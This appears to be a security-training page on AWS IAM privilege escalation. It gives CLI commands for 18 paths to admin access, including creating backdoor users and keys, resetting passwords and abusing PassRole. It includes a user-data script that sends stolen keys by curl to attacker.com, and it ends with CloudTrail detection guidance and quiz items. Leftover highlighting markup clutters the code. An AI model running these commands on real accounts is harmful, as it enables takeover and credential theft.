AWS IAM privilege escalation exploits misconfigured permissions to gain higher access than originally granted. Think of it like finding a master key while only being given access to one room - the organization trusted you with something that lets you unlock everything else.
IAM privilege escalation is particularly dangerous because it's often subtle. An administrator might grant a developer permission to "manage Lambda functions" without realizing this includes the ability to assume any role in the account. There are over 20 documented IAM privesc paths in AWS.
Privilege Escalation Vectors
IAM Privilege Enumeration
1606070;"># Understanding Your Current Permissions2 3606070;"># Who am I?4aws sts get-caller-identity5{6 606070;">#a5d6ff;">"UserId": "AIDAXXXXXXXXX",7 606070;">#a5d6ff;">"Account": "123456789012",8 606070;">#a5d6ff;">"Arn": "arn:aws:iam::123456789012:user/developer"9}10 11606070;"># List attached policies12aws iam list-attached-user-policies --user-name developer13aws iam list-user-policies --user-name developer 606070;"># Inline policies14 15606070;"># Get policy details16aws iam get-policy --policy-arn arn:aws:iam::123456789012:policy/DevPolicy17aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/DevPolicy --version-id v118 19606070;"># List group memberships20aws iam list-groups-for-user --user-name developer21 22606070;"># For each group23aws iam list-attached-group-policies --group-name Developers24aws iam list-group-policies --group-name Developers25 26606070;"># Simulate permissions (if you have iam:SimulatePrincipalPolicy)27aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::123456789012:user/developer --action-names iam:CreateUser iam:AttachUserPolicy28 29 30606070;"># Automated Enumeration with Pacu31─────────────────────────────────────────────────────────────────────32pacu33> import_keys victim34> run iam__enum_permissions35> run iam__privesc_scan 606070;"># Check for privesc pathsPolicy Manipulation Attacks
1606070;"># Method 1: CreatePolicyVersion2─────────────────────────────────────────────────────────────────────3606070;"># Required: iam:CreatePolicyVersion4606070;"># If you can create a new version of a policy attached to you...5 6606070;"># Create admin policy version7aws iam create-policy-version --policy-arn arn:aws:iam::123456789012:policy/MyPolicy --policy-document '{8 606070;">#a5d6ff;">"Version": "2012-10-17",9 606070;">#a5d6ff;">"Statement": [{10 606070;">#a5d6ff;">"Effect": "Allow",11 606070;">#a5d6ff;">"Action": "*",12 606070;">#a5d6ff;">"Resource": "*"13 }]14 }' --set-as-default15 16606070;"># Now you have admin!17 18 19606070;"># Method 2: SetDefaultPolicyVersion20─────────────────────────────────────────────────────────────────────21606070;"># Required: iam:SetDefaultPolicyVersion22606070;"># If an older policy version has more permissions...23 24606070;"># List policy versions25aws iam list-policy-versions --policy-arn arn:aws:iam::123456789012:policy/MyPolicy26 27606070;"># Set a more permissive version as default28aws iam set-default-policy-version --policy-arn arn:aws:iam::123456789012:policy/MyPolicy --version-id v129 30 31606070;"># Method 3: AttachUserPolicy32─────────────────────────────────────────────────────────────────────33606070;"># Required: iam:AttachUserPolicy34606070;"># Attach admin policy to yourself35 36aws iam attach-user-policy --user-name developer --policy-arn arn:aws:iam::aws:policy/AdministratorAccess37 38 39606070;"># Method 4: AttachGroupPolicy40─────────────────────────────────────────────────────────────────────41606070;"># Required: iam:AttachGroupPolicy42606070;"># Attach admin policy to your group43 44aws iam attach-group-policy --group-name Developers --policy-arn arn:aws:iam::aws:policy/AdministratorAccess45 46 47606070;"># Method 5: PutUserPolicy48─────────────────────────────────────────────────────────────────────49606070;"># Required: iam:PutUserPolicy50606070;"># Add inline admin policy to yourself51 52aws iam put-user-policy --user-name developer --policy-name AdminAccess --policy-document '{53 606070;">#a5d6ff;">"Version": "2012-10-17",54 606070;">#a5d6ff;">"Statement": [{55 606070;">#a5d6ff;">"Effect": "Allow",56 606070;">#a5d6ff;">"Action": "*",57 606070;">#a5d6ff;">"Resource": "*"58 }]59 }'Check for Wildcards
User & Access Key Attacks
1606070;"># Method 6: CreateUser + AttachUserPolicy2─────────────────────────────────────────────────────────────────────3606070;"># Required: iam:CreateUser + iam:AttachUserPolicy4606070;"># Create new admin user5 6aws iam create-user --user-name backdoor7 8aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess9 10aws iam create-access-key --user-name backdoor11606070;"># Now you have admin credentials!12 13 14606070;"># Method 7: CreateAccessKey15─────────────────────────────────────────────────────────────────────16606070;"># Required: iam:CreateAccessKey17606070;"># Create access key for another (more privileged) user18 19aws iam create-access-key --user-name admin20{21 606070;">#a5d6ff;">"AccessKey": {22 606070;">#a5d6ff;">"UserName": "admin",23 606070;">#a5d6ff;">"AccessKeyId": "AKIAXXXXXXXX",24 606070;">#a5d6ff;">"SecretAccessKey": "xxxxxxxx"25 }26}27 28 29606070;"># Method 8: CreateLoginProfile30─────────────────────────────────────────────────────────────────────31606070;"># Required: iam:CreateLoginProfile32606070;"># Create console password for another user33 34aws iam create-login-profile --user-name admin --password 606070;">#a5d6ff;">'P@ssw0rd123!' --no-password-reset-required35 36606070;"># Now login to console as admin!37 38 39606070;"># Method 9: UpdateLoginProfile40─────────────────────────────────────────────────────────────────────41606070;"># Required: iam:UpdateLoginProfile42606070;"># Reset password for another user43 44aws iam update-login-profile --user-name admin --password 606070;">#a5d6ff;">'NewP@ss123!'45 46 47606070;"># Method 10: AddUserToGroup48─────────────────────────────────────────────────────────────────────49606070;"># Required: iam:AddUserToGroup50606070;"># Add yourself to admin group51 52aws iam add-user-to-group --user-name developer --group-name AdminsRole Assumption Attacks
1606070;"># Method 11: PassRole + CreateFunction (Lambda)2─────────────────────────────────────────────────────────────────────3606070;"># Required: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction4606070;"># This is a VERY common privesc path!5 6606070;"># 1. Find a role with more permissions7aws iam list-roles8606070;"># Look for roles with admin policies or high privileges9 10606070;"># 2. Create Lambda function with that role11cat > /tmp/lambda.py << 606070;">#a5d6ff;">'EOF'12import boto313import json14 15def handler(event, context):16 606070;"># Run with the Lambda role's permissions17 iam = boto3.client(606070;">#a5d6ff;">'iam')18 19 606070;"># Example: Create admin user20 iam.create_user(UserName=606070;">#a5d6ff;">'backdoor')21 iam.attach_user_policy(22 UserName=606070;">#a5d6ff;">'backdoor',23 PolicyArn=606070;">#a5d6ff;">'arn:aws:iam::aws:policy/AdministratorAccess'24 )25 keys = iam.create_access_key(UserName=606070;">#a5d6ff;">'backdoor')26 27 return {28 606070;">#a5d6ff;">'accessKeyId': keys['AccessKey']['AccessKeyId'],29 606070;">#a5d6ff;">'secretAccessKey': keys['AccessKey']['SecretAccessKey']30 }31EOF32 33zip /tmp/lambda.zip /tmp/lambda.py34 35aws lambda create-function --function-name privesc --runtime python3.9 --role arn:aws:iam::123456789012:role/AdminRole --handler lambda.handler --zip-file fileb:606070;">///tmp/lambda.zip36 37606070;"># 3. Invoke the function38aws lambda invoke --function-name privesc output.json39cat output.json40606070;"># Contains admin credentials!41 42 43606070;"># Method 12: PassRole + EC244─────────────────────────────────────────────────────────────────────45606070;"># Required: iam:PassRole + ec2:RunInstances46606070;"># Launch EC2 with privileged instance profile47 48aws ec2 run-instances --image-id ami-12345678 --instance-type t2.micro --iam-instance-profile Name=AdminProfile --user-data '606070;">#!/bin/bash49 606070;"># Runs with instance profile permissions50 aws iam create-user --user-name backdoor51 aws iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess52 aws iam create-access-key --user-name backdoor > /tmp/keys.json53 curl -X POST https:606070;">//attacker.com/exfil -d @/tmp/keys.json54 '1606070;"># Method 13: AssumeRole2─────────────────────────────────────────────────────────────────────3606070;"># Required: sts:AssumeRole + Role trust allows your identity4 5606070;"># Check which roles you can assume6for role in $(aws iam list-roles --query 606070;">#a5d6ff;">'Roles[*].RoleName' --output text); do7 aws sts assume-role --role-arn arn:aws:iam::123456789012:role/$role --role-session-name test 2>/dev/null && echo 606070;">#a5d6ff;">"Can assume: $role"8done9 10606070;"># Assume a role11aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name privesc12 13606070;"># Use returned credentials14export AWS_ACCESS_KEY_ID=ASIAXXXXXXXX15export AWS_SECRET_ACCESS_KEY=xxxxxxxx16export AWS_SESSION_TOKEN=xxxxxxxx17 18606070;"># Verify19aws sts get-caller-identity20 21 22606070;"># Method 14: UpdateAssumeRolePolicy23─────────────────────────────────────────────────────────────────────24606070;"># Required: iam:UpdateAssumeRolePolicy25606070;"># Modify role trust policy to allow yourself26 27aws iam update-assume-role-policy --role-name AdminRole --policy-document '{28 606070;">#a5d6ff;">"Version": "2012-10-17",29 606070;">#a5d6ff;">"Statement": [{30 606070;">#a5d6ff;">"Effect": "Allow",31 606070;">#a5d6ff;">"Principal": {"AWS": "arn:aws:iam::123456789012:user/developer"},32 606070;">#a5d6ff;">"Action": "sts:AssumeRole"33 }]34 }'35 36606070;"># Now assume the role37aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name hackPassRole is Dangerous
Service-Specific Attacks
1606070;"># Method 15: Lambda Environment Variables2─────────────────────────────────────────────────────────────────────3606070;"># Required: lambda:UpdateFunctionConfiguration or lambda:GetFunction4606070;"># Lambda env vars often contain secrets5 6aws lambda get-function --function-name production-app7606070;"># Check for AWS_ACCESS_KEY_ID, API keys, database passwords in env8 9606070;"># Update env vars to exfiltrate10aws lambda update-function-configuration --function-name production-app --environment 606070;">#a5d6ff;">"Variables={EXFIL_URL=https://attacker.com}"11 12 13606070;"># Method 16: CloudFormation14─────────────────────────────────────────────────────────────────────15606070;"># Required: cloudformation:CreateStack + iam:PassRole16 17cat > template.yaml << 606070;">#a5d6ff;">'EOF'18AWSTemplateFormatVersion: 606070;">#a5d6ff;">'2010-09-09'19Resources:20 BackdoorUser:21 Type: AWS::IAM::User22 Properties:23 UserName: cfn-backdoor24 ManagedPolicyArns:25 - arn:aws:iam::aws:policy/AdministratorAccess26 BackdoorKey:27 Type: AWS::IAM::AccessKey28 Properties:29 UserName: !Ref BackdoorUser30Outputs:31 AccessKeyId:32 Value: !Ref BackdoorKey33 SecretAccessKey:34 Value: !GetAtt BackdoorKey.SecretAccessKey35EOF36 37aws cloudformation create-stack --stack-name privesc --template-body file:606070;">//template.yaml --capabilities CAPABILITY_NAMED_IAM38 39606070;"># Get credentials from outputs40aws cloudformation describe-stacks --stack-name privesc41 42 43606070;"># Method 17: Glue Dev Endpoint44─────────────────────────────────────────────────────────────────────45606070;"># Required: glue:CreateDevEndpoint + iam:PassRole46606070;"># Glue endpoints get role credentials47 48aws glue create-dev-endpoint --endpoint-name privesc --role-arn arn:aws:iam::123456789012:role/AdminRole --public-key 606070;">#a5d6ff;">"ssh-rsa AAAA..."49 50606070;"># SSH to endpoint and access role credentials51 52 53606070;"># Method 18: SageMaker Notebook54─────────────────────────────────────────────────────────────────────55606070;"># Required: sagemaker:CreateNotebookInstance + iam:PassRole56 57aws sagemaker create-notebook-instance --notebook-instance-name privesc --instance-type ml.t2.medium --role-arn arn:aws:iam::123456789012:role/AdminRole58 59606070;"># Access notebook, credentials available via metadataCross-Account Attacks
1606070;"># Cross-Account Role Assumption2 3606070;"># Misconfigured Trust Policy (Too Broad)4─────────────────────────────────────────────────────────────────────5{6 606070;">#a5d6ff;">"Version": "2012-10-17",7 606070;">#a5d6ff;">"Statement": [{8 606070;">#a5d6ff;">"Effect": "Allow",9 606070;">#a5d6ff;">"Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},10 606070;">#a5d6ff;">"Action": "sts:AssumeRole"11 }]12}13606070;"># Any user in ATTACKER_ACCOUNT can assume this role!14 15606070;"># Even Worse - Any AWS Account16{17 606070;">#a5d6ff;">"Principal": {"AWS": "*"}18 606070;">// or19 606070;">#a5d6ff;">"Principal": "*"20}21 22 23606070;"># Finding Cross-Account Trust24─────────────────────────────────────────────────────────────────────25606070;"># List all roles and check trust policies26for role in $(aws iam list-roles --query 606070;">#a5d6ff;">'Roles[*].RoleName' --output text); do27 trust=$(aws iam get-role --role-name $role --query 606070;">#a5d6ff;">'Role.AssumeRolePolicyDocument' --output text)28 if echo $trust | grep -q 606070;">#a5d6ff;">"AWS"; then29 echo 606070;">#a5d6ff;">"=== $role ==="30 aws iam get-role --role-name $role --query 606070;">#a5d6ff;">'Role.AssumeRolePolicyDocument'31 fi32done33 34 35606070;"># Confused Deputy Attack36─────────────────────────────────────────────────────────────────────37606070;"># If trust policy doesn't require external ID:38{39 606070;">#a5d6ff;">"Principal": {"AWS": "arn:aws:iam::SERVICE_PROVIDER:root"},40 606070;">#a5d6ff;">"Action": "sts:AssumeRole"41}42 43606070;"># Attacker who also uses SERVICE_PROVIDER can:44606070;"># 1. Make SERVICE_PROVIDER assume the role on their behalf45606070;"># 2. Access victim's resources through the provider46 47606070;"># Fix: Require ExternalId48{49 606070;">#a5d6ff;">"Condition": {50 606070;">#a5d6ff;">"StringEquals": {"sts:ExternalId": "unique-secret-id"}51 }52}Detecting IAM Attacks
1CloudTrail Events to Monitor:2 3HIGH SEVERITY - Immediate Alert4─────────────────────────────────────────────────────────────────────5CreatePolicyVersion 606070;"># Policy modification6SetDefaultPolicyVersion 606070;"># Policy version change7AttachUserPolicy 606070;"># Policy attachment8AttachRolePolicy9AttachGroupPolicy10PutUserPolicy 606070;"># Inline policy addition11PutRolePolicy12PutGroupPolicy13CreateUser 606070;"># User creation14CreateAccessKey 606070;"># Key creation (especially for others)15CreateLoginProfile 606070;"># Console access creation16UpdateLoginProfile 606070;"># Password reset17AddUserToGroup 606070;"># Group membership change18UpdateAssumeRolePolicy 606070;"># Role trust modification19 20MEDIUM SEVERITY - Investigate21─────────────────────────────────────────────────────────────────────22AssumeRole 606070;"># Unusual role assumptions23GetRole 606070;"># Role enumeration24ListRoles25ListPolicies26GetPolicy27SimulatePrincipalPolicy 606070;"># Permission testing28 29CloudWatch Alarm Example:30{31 606070;">#a5d6ff;">"source": ["aws.iam"],32 606070;">#a5d6ff;">"detail-type": ["AWS API Call via CloudTrail"],33 606070;">#a5d6ff;">"detail": {34 606070;">#a5d6ff;">"eventName": [35 606070;">#a5d6ff;">"CreatePolicyVersion",36 606070;">#a5d6ff;">"AttachUserPolicy",37 606070;">#a5d6ff;">"AttachRolePolicy",38 606070;">#a5d6ff;">"CreateUser",39 606070;">#a5d6ff;">"CreateAccessKey"40 ]41 }42}IAM Attack Methodology
IAM Privilege Escalation Flow
Knowledge Check
What permission combination enables privilege escalation via Lambda?
Challenges
Identify Privesc Paths
ChallengeGiven this IAM policy, identify all privilege escalation paths: {"Effect":"Allow","Action":["iam:PassRole","lambda:*","iam:CreatePolicyVersion"],"Resource":"*"}
Need a hint? (3 available)
Key Takeaways
- Over 20 IAM permissions can lead to privilege escalation
- iam:PassRole is extremely dangerous combined with service creation
- Policy modification permissions enable direct admin access
- Always check what roles you can assume or pass
- Cross-account trust without ExternalId is vulnerable to confused deputy
- Monitor CloudTrail for IAM modification events